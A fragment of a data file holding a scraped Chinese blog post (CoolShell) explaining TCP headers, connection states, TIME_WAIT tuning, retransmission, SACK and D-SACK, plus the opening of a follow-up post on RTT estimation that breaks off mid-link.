    "content": "<html><body><p><img alt=\"\" class=\"alignright wp-image-11654\" height=\"257\" src=\"../wp-content/uploads/2014/05/tin-can-phone.jpg\" width=\"360\"/>TCP是一个巨复杂的协议，因为他要解决很多问题，而这些问题又带出了很多子问题和阴暗面。所以学习TCP本身是个比较痛苦的过程，但对于学习的过程却能让人有很多收获。关于TCP这个协议的细节，我还是推荐你去看<a href=\"http://www.kohala.com/start/\" target=\"_blank\">W.Richard Stevens</a>的《<a href=\"http://book.douban.com/subject/1088054/\" target=\"_blank\">TCP/IP 详解 卷1：协议</a>》（当然，你也可以去读一下<a href=\"http://tools.ietf.org/html/rfc793\" target=\"_blank\">RFC793</a>以及后面N多的RFC）。另外，本文我会使用英文术语，这样方便你通过这些英文关键词来查找相关的技术文档。</p>\n<p>之所以想写这篇文章，目的有三个，</p>\n<ul>\n<li>一个是想锻炼一下自己是否可以用简单的篇幅把这么复杂的TCP协议描清楚的能力。</li>\n<li>另一个是觉得现在的好多程序员基本上不会认认真真地读本书，喜欢快餐文化，所以，希望这篇快餐文章可以让你对TCP这个古典技术有所了解，并能体会到软件设计中的种种难处。并且你可以从中有一些软件设计上的收获。</li>\n<li>最重要的希望这些基础知识可以让你搞清很多以前一些似是而非的东西，并且你能意识到基础的重要。</li>\n</ul>\n<p>所以，本文不会面面俱到，只是对TCP协议、算法和原理的科普。</p>\n<p><span id=\"more-11564\"></span></p>\n<p>我本来只想写一个篇幅的文章的，但是TCP真TMD的复杂，比C++复杂多了，这30多年来，各种优化变种争论和修改。所以，写着写着就发现只有砍成两篇。</p>\n<ul>\n<li>上篇中，主要向你介绍TCP协议的定义和丢包时的重传机制。</li>\n<li>下篇中，重点介绍TCP的流迭、拥塞处理。</li>\n</ul>\n<p>废话少说，首先，我们需要知道TCP在网络OSI的七层模型中的第四层——Transport层，IP在第三层——Network层，ARP在第二层——Data Link层，在第二层上的数据，我们叫Frame，在第三层上的数据叫Packet，第四层的数据叫Segment。</p>\n<p>首先，我们需要知道，我们程序的数据首先会打到TCP的Segment中，然后TCP的Segment会打到IP的Packet中，然后再打到以太网Ethernet的Frame中，传到对端后，各个层解析自己的协议，然后把数据交给更高层的协议处理。</p>\n<h4>TCP头格式</h4>\n<p>接下来，我们来看一下TCP头的格式</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter wp-image-11572\" height=\"284\" src=\"../wp-content/uploads/2014/05/TCP-Header-01.jpg\" width=\"700\"/>TCP头格式（<a href=\"http://nmap.org/book/tcpip-ref.html\" target=\"_blank\">图片来源</a>）</p>\n<p>你需要注意这么几点：</p>\n<ul>\n<li>TCP的包是没有IP地址的，那是IP层上的事。但是有源端口和目标端口。</li>\n<li>一个TCP连接需要四个元组来表示是同一个连接（src_ip, src_port, dst_ip, dst_port）准确说是五元组，还有一个是协议。但因为这里只是说TCP协议，所以，这里我只说四元组。</li>\n<li>注意上图中的四个非常重要的东西：\n<ul>\n<li><strong>Sequence Number</strong>是包的序号，<strong>用来解决网络包乱序（reordering）问题。</strong></li>\n<li><strong>Acknowledgement Number</strong>就是ACK——用于确认收到，<strong>用来解决不丢包的问题</strong>。</li>\n<li><strong>Window又叫Advertised-Window</strong>，也就是著名的滑动窗口（Sliding Window），<strong>用于解决流控的</strong>。</li>\n<li><strong>TCP Flag</strong> ，也就是包的类型，<strong>主要是用于操控TCP的状态机的</strong>。</li>\n</ul>\n</li>\n</ul>\n<p>关于其它的东西，可以参看下面的图示</p>\n<p><img alt=\"\" class=\"aligncenter wp-image-11573\" height=\"214\" src=\"../wp-content/uploads/2014/05/TCP-Header-02.jpg\" width=\"700\"/></p>\n<p style=\"text-align: center;\">（<a href=\"http://nmap.org/book/tcpip-ref.html\" target=\"_blank\">图片来源</a>）</p>\n<h4>TCP的状态机</h4>\n<p>其实，<strong>网络上的传输是没有连接的，包括TCP也是一样的</strong>。而TCP所谓的“连接”，其实只不过是在通讯的双方维护一个“连接状态”，让它看上去好像有连接一样。所以，TCP的状态变换是非常重要的。</p>\n<p>下面是：“<strong>TCP协议的状态机</strong>”（<a href=\"http://www.tcpipguide.com/free/t_TCPOperationalOverviewandtheTCPFiniteStateMachineF-2.htm\" target=\"_blank\">图片来源</a>） 和 “<strong>TCP建链接</strong>”、“<strong>TCP断链接</strong>”、“<strong>传数据</strong>” 的对照图，我把两个图并排放在一起，这样方便在你对照着看。另外，下面这两个图非常非常的重要，你一定要记牢。（吐个槽：看到这样复杂的状态机，就知道这个协议有多复杂，复杂的东西总是有很多坑爹的事情，所以TCP协议其实也挺坑爹的）</p>\n<p><img align=\"top\" alt=\"\" height=\"550\" src=\"../wp-content/uploads/2014/05/tcpfsm.png\" width=\"386\"/> <img alt=\"\" height=\"520\" src=\"../wp-content/uploads/2014/05/tcp_open_close.jpg\" width=\"370\"/></p>\n<p>很多人会问，为什么建链接要3次握手，断链接需要4次挥手？</p>\n<ul>\n<li><strong>对于建链接的3次握手，</strong>主要是要初始化Sequence Number 的初始值。通信的双方要互相通知对方自己的初始化的Sequence Number（缩写为ISN：Inital Sequence Number）——所以叫SYN，全称Synchronize Sequence Numbers。也就上图中的 x 和 y。这个号要作为以后的数据通信的序号，以保证应用层接收到的数据不会因为网络上的传输的问题而乱序（TCP会用这个序号来拼接数据）。</li>\n</ul>\n<ul>\n<li><strong>对于4次挥手，</strong>其实你仔细看是2次，因为TCP是全双工的，所以，发送方和接收方都需要Fin和Ack。只不过，有一方是被动的，所以看上去就成了所谓的4次挥手。如果两边同时断连接，那就会就进入到CLOSING状态，然后到达TIME_WAIT状态。下图是双方同时断连接的示意图（你同样可以对照着TCP状态机看）：</li>\n</ul>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter wp-image-11586\" height=\"395\" src=\"../wp-content/uploads/2014/05/tcpclosesimul.png\" width=\"500\"/><br/>\n两端同时断连接（<a href=\"http://www.tcpipguide.com/free/t_TCPConnectionTermination-4.htm\" target=\"_blank\">图片来源</a>）</p>\n<p> </p>\n<p>另外，有几个事情需要注意一下：</p>\n<ul>\n<li><strong>关于建连接时SYN超时</strong>。试想一下，如果server端接到了clien发的SYN后回了SYN-ACK后client掉线了，server端没有收到client回来的ACK，那么，这个连接处于一个中间状态，即没成功，也没失败。于是，server端如果在一定时间内没有收到的TCP会重发SYN-ACK。在Linux下，默认重试次数为5次，重试的间隔时间从1s开始每次都翻售，5次的重试时间间隔为1s, 2s, 4s, 8s, 16s，总共31s，第5次发出后还要等32s都知道第5次也超时了，所以，总共需要 1s + 2s + 4s+ 8s+ 16s + 32s = 2^6 -1 = 63s，TCP才会把断开这个连接。</li>\n</ul>\n<ul>\n<li><strong>关于SYN Flood攻击</strong>。一些恶意的人就为此制造了SYN Flood攻击——给服务器发了一个SYN后，就下线了，于是服务器需要默认等63s才会断开连接，这样，攻击者就可以把服务器的syn连接的队列耗尽，让正常的连接请求不能处理。于是，Linux下给了一个叫<strong>tcp_syncookies</strong>的参数来应对这个事——当SYN队列满了后，TCP会通过源地址端口、目标地址端口和时间戳打造出一个特别的Sequence Number发回去（又叫cookie），如果是攻击者则不会有响应，如果是正常连接，则会把这个 SYN Cookie发回来，然后服务端可以通过cookie建连接（即使你不在SYN队列中）。请注意，<strong>请先千万别用tcp_syncookies来处理正常的大负载的连接的情况</strong>。因为，synccookies是妥协版的TCP协议，并不严谨。对于正常的请求，你应该调整三个TCP参数可供你选择，第一个是：tcp_synack_retries 可以用他来减少重试次数；第二个是：tcp_max_syn_backlog，可以增大SYN连接数；第三个是：tcp_abort_on_overflow 处理不过来干脆就直接拒绝连接了。</li>\n</ul>\n<ul>\n<li><strong>关于ISN的初始化</strong>。ISN是不能hard code的，不然会出问题的——比如：如果连接建好后始终用1来做ISN，如果client发了30个segment过去，但是网络断了，于是 client重连，又用了1做ISN，但是之前连接的那些包到了，于是就被当成了新连接的包，此时，client的Sequence Number 可能是3，而Server端认为client端的这个号是30了。全乱了。<a href=\"http://tools.ietf.org/html/rfc793\" target=\"_blank\">RFC793</a>中说，ISN会和一个假的时钟绑在一起，这个时钟会在每4微秒对ISN做加一操作，直到超过2^32，又从0开始。这样，一个ISN的周期大约是4.55个小时。因为，我们假设我们的TCP Segment在网络上的存活时间不会超过Maximum Segment Lifetime（缩写为MSL – <a href=\"http://en.wikipedia.org/wiki/Maximum_Segment_Lifetime\" target=\"_blank\">Wikipedia语条</a>），所以，只要MSL的值小于4.55小时，那么，我们就不会重用到ISN。</li>\n</ul>\n<ul>\n<li><strong>关于 MSL 和 TIME_WAIT</strong>。通过上面的ISN的描述，相信你也知道MSL是怎么来的了。我们注意到，在TCP的状态图中，从TIME_WAIT状态到CLOSED状态，有一个超时设置，这个超时设置是 2*MSL（<a href=\"http://tools.ietf.org/html/rfc793\" target=\"_blank\">RFC793</a>定义了MSL为2分钟，Linux设置成了30s）为什么要这有TIME_WAIT？为什么不直接给转成CLOSED状态呢？主要有两个原因：1）TIME_WAIT确保有足够的时间让对端收到了ACK，如果被动关闭的那方没有收到Ack，就会触发被动端重发Fin，一来一去正好2个MSL，2）有足够的时间让这个连接不会跟后面的连接混在一起（你要知道，有些自做主张的路由器会缓存IP数据包，如果连接被重用了，那么这些延迟收到的包就有可能会跟新连接混在一起）。你可以看看这篇文章《<a href=\"http://www.serverframework.com/asynchronousevents/2011/01/time-wait-and-its-design-implications-for-protocols-and-scalable-servers.html\" target=\"_blank\">TIME_WAIT and its design implications for protocols and scalable client server systems</a>》</li>\n</ul>\n<ul>\n<li><strong>关于TIME_WAIT数量太多</strong>。从上面的描述我们可以知道，TIME_WAIT是个很重要的状态，但是如果在大并发的短链接下，TIME_WAIT 就会太多，这也会消耗很多系统资源。只要搜一下，你就会发现，十有八九的处理方式都是教你设置两个参数，一个叫<strong>tcp_tw_reuse</strong>，另一个叫<strong>tcp_tw_recycle</strong>的参数，这两个参数默认值都是被关闭的，后者recyle比前者resue更为激进，resue要温柔一些。另外，如果使用tcp_tw_reuse，必需设置tcp_timestamps=1，否则无效。这里，你一定要注意，<strong>打开这两个参数会有比较大的坑——可能会让TCP连接出一些诡异的问题</strong>（因为如上述一样，如果不等待超时重用连接的话，新的连接可能会建不上。正如<a href=\"https://www.kernel.org/doc/Documentation/networking/ip-sysctl.txt\" target=\"_blank\">官方文档</a>上说的一样“<strong>It should not be changed without advice/request of technical experts</strong>”）。</li>\n</ul>\n<ul>\n<ul style=\"padding-left: 30px;\">\n<li><strong>关于tcp_tw_reuse</strong>。官方文档上说tcp_tw_reuse 加上tcp_timestamps（又叫PAWS, for Protection Against Wrapped Sequence Numbers）可以保证协议的角度上的安全，但是你需要tcp_timestamps在两边都被打开（你可以读一下<a href=\"http://lxr.free-electrons.com/ident?i=tcp_twsk_unique\">tcp_twsk_unique</a>的源码<span style=\"color: #000000;\"> </span>）。我个人估计还是有一些场景会有问题。</li>\n</ul>\n</ul>\n<ul style=\"padding-left: 30px;\">\n<ul>\n<li><strong>关于tcp_tw_recycle</strong>。如果是tcp_tw_recycle被打开了话，会假设对端开启了tcp_timestamps，然后会去比较时间戳，如果时间戳变大了，就可以重用。但是，如果对端是一个NAT网络的话（如：一个公司只用一个IP出公网）或是对端的IP被另一台重用了，这个事就复杂了。建链接的SYN可能就被直接丢掉了（你可能会看到connection time out的错误）（如果你想观摩一下Linux的内核代码，请参看源码<a href=\"http://lxr.free-electrons.com/ident?i=tcp_timewait_state_process\"> tcp_timewait_state_process</a>）。</li>\n</ul>\n</ul>\n<ul style=\"padding-left: 30px;\">\n<ul>\n<li><strong style=\"color: #373737;\">关于tcp_max_tw_buckets</strong>。这个是控制并发的TIME_WAIT的数量，默认值是180000，如果超限，那么，系统会把多的给destory掉，然后在日志里打一个警告（如：<span style=\"color: #373737;\">time wait bucket table overflow</span>），官网文档说这个参数是用来对抗DDoS攻击的。也说的默认值180000并不小。这个还是需要根据实际情况考虑。</li>\n</ul>\n</ul>\n<p><strong>Again，使用tcp_tw_reuse和tcp_tw_recycle来解决TIME_WAIT的问题是非常非常危险的，因为这两个参数违反了TCP协议（<a href=\"http://tools.ietf.org/html/rfc1122\" target=\"_blank\">RFC 1122</a>） </strong></p>\n<p>其实，TIME_WAIT表示的是你主动断连接，所以，这就是所谓的“不作死不会死”。试想，如果让对端断连接，那么这个破问题就是对方的了，呵呵。另外，如果你的服务器是于HTTP服务器，那么设置一个<a href=\"http://en.wikipedia.org/wiki/HTTP_persistent_connection\" target=\"_blank\">HTTP的KeepAlive</a>有多重要（浏览器会重用一个TCP连接来处理多个HTTP请求），然后让客户端去断链接（你要小心，浏览器可能会非常贪婪，他们不到万不得已不会主动断连接）。</p>\n<h4>数据传输中的Sequence Number</h4>\n<p>下图是我从Wireshark中截了个我在访问coolshell.cn时的有数据传输的图给你看一下，SeqNum是怎么变的。（使用Wireshark菜单中的Statistics -&gt;Flow Graph… ）</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-11595\" height=\"361\" src=\"../wp-content/uploads/2014/05/tcp_data_seq_num.jpg\" width=\"381\"/></p>\n<p>你可以看到，<strong>SeqNum的增加是和传输的字节数相关的</strong>。上图中，三次握手后，来了两个Len:1440的包，而第二个包的SeqNum就成了1441。然后第一个ACK回的是1441，表示第一个1440收到了。</p>\n<p><strong>注意</strong>：如果你用Wireshark抓包程序看3次握手，你会发现SeqNum总是为0，不是这样的，Wireshark为了显示更友好，使用了Relative SeqNum——相对序号，你只要在右键菜单中的protocol preference 中取消掉就可以看到“Absolute SeqNum”了</p>\n<h4>TCP重传机制</h4>\n<p>TCP要保证所有的数据包都可以到达，所以，必需要有重传机制。</p>\n<p>注意，接收端给发送端的Ack确认只会确认最后一个连续的包，比如，发送端发了1,2,3,4,5一共五份数据，接收端收到了1，2，于是回ack 3，然后收到了4（注意此时3没收到），此时的TCP会怎么办？我们要知道，因为正如前面所说的，<strong>SeqNum和Ack是以字节数为单位，所以ack的时候，不能跳着确认，只能确认最大的连续收到的包</strong>，不然，发送端就以为之前的都收到了。</p>\n<h5>超时重传机制</h5>\n<p>一种是不回ack，死等3，当发送方发现收不到3的ack超时后，会重传3。一旦接收方收到3后，会ack 回 4——意味着3和4都收到了。</p>\n<p>但是，这种方式会有比较严重的问题，那就是因为要死等3，所以会导致4和5即便已经收到了，而发送方也完全不知道发生了什么事，因为没有收到Ack，所以，发送方可能会悲观地认为也丢了，所以有可能也会导致4和5的重传。</p>\n<p>对此有两种选择：</p>\n<ul>\n<li>一种是仅重传timeout的包。也就是第3份数据。</li>\n<li>另一种是重传timeout后所有的数据，也就是第3，4，5这三份数据。</li>\n</ul>\n<p>这两种方式有好也有不好。第一种会节省带宽，但是慢，第二种会快一点，但是会浪费带宽，也可能会有无用功。但总体来说都不好。因为都在等timeout，timeout可能会很长（在下篇会说TCP是怎么动态地计算出timeout的）</p>\n<h5>快速重传机制</h5>\n<p>于是，TCP引入了一种叫<strong>Fast Retransmit</strong> 的算法，<strong>不以时间驱动，而以数据驱动重传</strong>。也就是说，如果，包没有连续到达，就ack最后那个可能被丢了的包，如果发送方连续收到3次相同的ack，就重传。Fast Retransmit的好处是不用等timeout了再重传。</p>\n<p>比如：如果发送方发出了1，2，3，4，5份数据，第一份先到送了，于是就ack回2，结果2因为某些原因没收到，3到达了，于是还是ack回2，后面的4和5都到了，但是还是ack回2，因为2还是没有收到，于是发送端收到了三个ack=2的确认，知道了2还没有到，于是就马上重转2。然后，接收端收到了2，此时因为3，4，5都收到了，于是ack回6。示意图如下：</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-11599\" height=\"291\" src=\"../wp-content/uploads/2014/05/FASTIncast021.png\" width=\"450\"/></p>\n<p>Fast Retransmit只解决了一个问题，就是timeout的问题，它依然面临一个艰难的选择，就是，是重传之前的一个还是重传所有的问题。对于上面的示例来说，是重传#2呢还是重传#2，#3，#4，#5呢？因为发送端并不清楚这连续的3个ack(2)是谁传回来的？也许发送端发了20份数据，是#6，#10，#20传来的呢。这样，发送端很有可能要重传从2到20的这堆数据（这就是某些TCP的实际的实现）。可见，这是一把双刃剑。</p>\n<h5>SACK 方法</h5>\n<p>另外一种更好的方式叫：<strong>Selective Acknowledgment (SACK)</strong>（参看<a href=\"http://tools.ietf.org/html/rfc2018\" target=\"_blank\">RFC 2018</a>），这种方式需要在TCP头里加一个SACK的东西，ACK还是Fast Retransmit的ACK，SACK则是汇报收到的数据碎版。参看下图：</p>\n<p><img alt=\"\" class=\"aligncenter wp-image-11600\" height=\"338\" src=\"../wp-content/uploads/2014/05/tcp_sack_example-1024x577.jpg\" width=\"600\"/></p>\n<p>这样，在发送端就可以根据回传的SACK来知道哪些数据到了，哪些没有到。于是就优化了Fast Retransmit的算法。当然，这个协议需要两边都支持。在 Linux下，可以通过<strong>tcp_sack</strong>参数打开这个功能（Linux 2.4后默认打开）。</p>\n<p>这里还需要注意一个问题——<strong>接收方Reneging，所谓Reneging的意思就是接收方有权把已经报给发送端SACK里的数据给丢了</strong>。这样干是不被鼓励的，因为这个事会把问题复杂化了，但是，接收方这么做可能会有些极端情况，比如要把内存给别的更重要的东西。<strong>所以，发送方也不能完全依赖SACK，还是要依赖ACK，并维护Time-Out，如果后续的ACK没有增长，那么还是要把SACK的东西重传，另外，接收端这边永远不能把SACK的包标记为Ack。</strong></p>\n<p>注意：SACK会消费发送方的资源，试想，如果一个攻击者给数据发送方发一堆SACK的选项，这会导致发送方开始要重传甚至遍历已经发出的数据，这会消耗很多发送端的资源。详细的东西请参看《<a href=\"http://www.ibm.com/developerworks/cn/linux/l-tcp-sack/\" target=\"_blank\">TCP SACK的性能权衡</a>》</p>\n<h5>Duplicate SACK – 重复收到数据的问题</h5>\n<p>Duplicate SACK又称D-SACK，<strong>其主要使用了SACK来告诉发送方有哪些数据被重复接收了</strong>。<a href=\"http://www.ietf.org/rfc/rfc2883.txt\" target=\"_blank\">RFC-2883 </a>里有详细描述和示例。下面举几个例子（来源于<a href=\"http://www.ietf.org/rfc/rfc2883.txt\" target=\"_blank\">RFC-2883</a>）</p>\n<p>D-SACK使用了SACK的第一个段来做标志，</p>\n<ul>\n<li>如果SACK的第一个段的范围被ACK所覆盖，那么就是D-SACK</li>\n</ul>\n<ul>\n<li>如果SACK的第一个段的范围被SACK的第二个段覆盖，那么就是D-SACK</li>\n</ul>\n<p><strong>示例一：ACK丢包</strong></p>\n<p>下面的示例中，丢了两个ACK，所以，发送端重传了第一个数据包（3000-3499），于是接收端发现重复收到，于是回了一个SACK=3000-3500，因为ACK都到了4000意味着收到了4000之前的所有数据，所以这个SACK就是D-SACK——旨在告诉发送端我收到了重复的数据，而且我们的发送端还知道，数据包没有丢，丢的是ACK包。</p>\n<pre class=\"EnlighterJSRAW\">\n\tTransmitted  Received    ACK Sent\n\tSegment      Segment     (Including SACK Blocks)\n\n\t3000-3499    3000-3499   3500 (ACK dropped)\n\t3500-3999    3500-3999   4000 (ACK dropped)\n\t3000-3499    3000-3499   4000, SACK=3000-3500\n                                        ---------</pre>\n<p><strong> 示例二，网络延误</strong></p>\n<p>下面的示例中，网络包（1000-1499）被网络给延误了，导致发送方没有收到ACK，而后面到达的三个包触发了“Fast Retransmit算法”，所以重传，但重传时，被延误的包又到了，所以，回了一个SACK=1000-1500，因为ACK已到了3000，所以，这个SACK是D-SACK——标识收到了重复的包。</p>\n<p>这个案例下，发送端知道之前因为“Fast Retransmit算法”触发的重传不是因为发出去的包丢了，也不是因为回应的ACK包丢了，而是因为网络延时了。</p>\n<pre class=\"EnlighterJSRAW\">\n    Transmitted    Received    ACK Sent\n    Segment        Segment     (Including SACK Blocks)\n\n    500-999        500-999     1000\n    1000-1499      (delayed)\n    1500-1999      1500-1999   1000, SACK=1500-2000\n    2000-2499      2000-2499   1000, SACK=1500-2500\n    2500-2999      2500-2999   1000, SACK=1500-3000\n    1000-1499      1000-1499   3000\n                   1000-1499   3000, SACK=1000-1500\n                                          ---------</pre>\n<p> </p>\n<p>可见，引入了D-SACK，有这么几个好处：</p>\n<p style=\"padding-left: 30px;\">1）可以让发送方知道，是发出去的包丢了，还是回来的ACK包丢了。</p>\n<p style=\"padding-left: 30px;\">2）是不是自己的timeout太小了，导致重传。</p>\n<p style=\"padding-left: 30px;\">3）网络上出现了先发的包后到的情况（又称reordering）</p>\n<p style=\"padding-left: 30px;\">4）网络上是不是把我的数据包给复制了。</p>\n<p> <strong>知道这些东西可以很好得帮助TCP了解网络情况，从而可以更好的做网络上的流控</strong>。</p>\n<p>Linux下的tcp_dsack参数用于开启这个功能（Linux 2.4后默认打开）</p>\n<p>好了，上篇就到这里结束了。如果你觉得我写得还比较浅显易懂，那么，欢迎移步看下篇《<a href=\"https://coolshell.cn/articles/11609.html\" target=\"_blank\">TCP的那些事（下）</a>》</p>\n<p style=\"text-align: right;\"><strong> <a href=\"https://coolshell.cn/articles/11609.html\" target=\"_blank\">TCP的那些事儿（下）&gt;&gt;&gt;</a></strong></p>\n<p style=\"text-align: left;\">（上篇完）</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22263.html\"><img alt=\"从一次经历谈 TIME_WAIT 的那些事\" height=\"150\" src=\"../wp-content/uploads/2022/07/wall_clock-300x167-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22263.html\">从一次经历谈 TIME_WAIT 的那些事</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19840.html\"><img alt=\"HTTP的前世今生\" height=\"150\" src=\"../wp-content/uploads/2019/10/HTTP-770x513-300x200-1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19840.html\">HTTP的前世今生</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11609.html\"><img alt=\"TCP 的那些事儿（下）\" height=\"150\" src=\"../wp-content/uploads/2014/05/xin_2001040422167711230318-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11609.html\">TCP 的那些事儿（下）</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9859.html\"><img alt=\"Alan Cox：单向链表中prev指针的妙用\" height=\"150\" src=\"../wp-content/uploads/2013/06/Alan-Cox-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9859.html\">Alan Cox：单向链表中prev指针的妙用</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7490.html\"><img alt=\"性能调优攻略\" height=\"150\" src=\"../wp-content/uploads/2012/06/f1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7490.html\">性能调优攻略</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1484.html\"><img alt=\"TCP网络关闭的状态变换时序图\" height=\"150\" src=\"../wp-content/uploads/2009/09/tcp1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1484.html\">TCP网络关闭的状态变换时序图</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/11564.html\">TCP 的那些事儿（上）</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2014-5-28 TCP 的那些事儿（下）.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright wp-image-11641\" height=\"244\" src=\"../wp-content/uploads/2014/05/xin_2001040422167711230318.jpg\" width=\"360\"/>这篇文章是下篇，所以如果你对TCP不熟悉的话，还请你先看看上篇《<a href=\"https://coolshell.cn/articles/11564.html\" target=\"_blank\">TCP的那些事儿（上）</a>》 上篇中，我们介绍了TCP的协议头、状态机、数据重传中的东西。但是TCP要解决一个很大的事，那就是要在一个网络根据不同的情况来动态调整自己的发包的速度，小则让自己的连接更稳定，大则让整个网络更稳定。在你阅读下篇之前，你需要做好准备，本篇文章有好些算法和策略，可能会引发你的各种思考，让你的大脑分配很多内存和计算资源，所以，不适合在厕所中阅读。</p>\n<h4>TCP的RTT算法</h4>\n<p>从前面的TCP重传机制我们知道Timeout的设置对于重传非常重要。</p>\n<ul>\n<li>设长了，重发就慢，丢了老半天才重发，没有效率，性能差；</li>\n<li>设短了，会导致可能并没有丢就重发。于是重发的就快，会增加网络拥塞，导致更多的超时，更多的超时导致更多的重发。</li>\n</ul>\n<p>而且，这个超时时间在不同的网络的情况下，根本没有办法设置一个死的值。只能动态地设置。 为了动态地设置，TCP引入了RTT——Round Trip Time，也就是一个数据包从发出去到回来的时间。这样发送端就大约知道需要多少的时间，从而可以方便地设置Timeout——RTO（Retransmission TimeOut），以让我们的重传机制更高效。 听起来似乎很简单，好像就是在发送端发包时记下t0，然后接收端再把这个ack回来时再记一个t1，于是RTT = t1 – t0。没那么简单，这只是一个采样，不能代表普遍情况。</p>\n<p><span id=\"more-11609\"></span></p>\n<h5>经典算法</h5>\n<p><a href=\"http://tools.ietf.org/html/rfc793\" target=\"_blank\">RFC793</a> 中定义的经典算法是这样的：</p>\n<p style=\"padding-left: 30px;\">1）首先，先采样RTT，记下最近好几次的RTT值。</p>\n<p style=\"padding-left: 30px;\">2）然后做平滑计算SRTT（ Smoothed RTT）。公式为：（其中的 α 取值在0.8 到 0.9之间，这个算法英文叫Exponential weighted moving average，中文叫：加权移动平均）</p>\n<p style=\"text-align: center;\"><strong>SRTT = ( α * SRTT ) + ((1- α) * RTT)</strong></p>\n<p style=\"padding-left: 30px;\">3）开始计算RTO。公式如下：</p>\n<p style=\"text-align: center;\"><strong>RTO = min [ UBOUND,  max [ LBOUND,   (β * SRTT) ]  ]</strong></p>\n<p>其中：</p>\n<ul>\n<li>UBOUND是最大的timeout时间，上限值</li>\n<li>LBOUND是最小的timeout时间，下限值</li>\n<li>β 值一般在1.3到2.0之间。</li>\n</ul>\n<h5>Karn / Partridge 算法</h5>\n<p>但是上面的这个算法在重传的时候会出有一个终极问题——你是用第一次发数据的时间和ack回来的时间做RTT样本值，还是用重传的时间和ACK回来的时间做RTT样本值？</p>\n<p>这个问题无论你选那头都是按下葫芦起了瓢。 如下图所示：</p>\n<ul>\n<li>情况（a）是ack没回来，所以重传。如果你计算第一次发送和ACK的时间，那么，明显算大了。</li>\n<li>情况（b）是ack回来慢了，但是导致了重传，但刚重传不一会儿，之前ACK就回来了。如果你是算重传的时间和ACK回来的时间的差，就会算短了。</li>\n</ul>\n<p><img alt=\"\" class=\"aligncenter wp-image-11605\" height=\"243\" src=\"../wp-content/uploads/2014/05/Karn-Partridge-Algorithm.jpg\" width=\"545\"/></p>\n<p>所以1987年的时候，搞了一个叫<a href=\"http://en.wikipedia.org/wiki/Karn's_Algorithm\" target=\"_blank\">Karn / Partridge Algorithm</a>，这个算法的最大特点是——<strong>忽略重传，不把重传的RTT做采样</strong>（你看，你不需要去解决不存在的问题）。</p>\n<p>但是，这样一来，又会引发一个大BUG——<strong>如果在某一时间，网络闪动，突然变慢了，产生了比较大的延时，这个延时导致要重转所有的包（因为之前的RTO很小），于是，因为重转的不算，所以，RTO就不会被更新，这是一个灾难</strong>。 于是Karn算法用了一个取巧的方式——只要一发生重传，就对现有的RTO值翻倍（这就是所谓的 Exponential backoff），很明显，这种死规矩对于一个需要估计比较准确的RTT也不靠谱。</p>\n<h5>Jacobson / Karels 算法</h5>\n<p>前面两种算法用的都是“加权移动平均”，这种方法最大的毛病就是如果RTT有一个大的波动的话，很难被发现，因为被平滑掉了。所以，1988年，又有人推出来了一个新的算法，这个算法叫Jacobson / Karels Algorithm（参看<a href=\"http://tools.ietf.org/html/rfc6298\" target=\"_blank\">RFC6289</a>）。这个算法引入了最新的RTT的采样和平滑过的SRTT的差距做因子来计算。 公式如下：（其中的DevRTT是Deviation RTT的意思）</p>\n<p style=\"padding-left: 30px;\"><b>SRTT</b><b> = S</b><b>RTT</b><b> + α</b><b> </b><b>(</b><b>RTT</b><b> – S</b><b>RTT</b><b>)  </b>—— 计算平滑RTT</p>\n<p style=\"padding-left: 30px;\"><b>DevRTT</b><b> = (1-β</b><b>)*</b><b>DevRTT</b><b> + β</b><b>*(|</b><b>RTT-SRTT</b><b>|) </b>——计算平滑RTT和真实的差距（加权移动平均）</p>\n<p style=\"padding-left: 30px;\"><strong>RTO= µ * SRTT + ∂ *DevRTT </strong>—— 神一样的公式</p>\n<p>（其中：在Linux下，α = 0.125，β = 0.25， μ = 1，∂ = 4 ——这就是算法中的“调得一手好参数”，nobody knows why, it just works…） 最后的这个算法在被用在今天的TCP协议中（Linux的源代码在：<a href=\"http://lxr.free-electrons.com/source/net/ipv4/tcp_input.c?v=2.6.32#L609\" 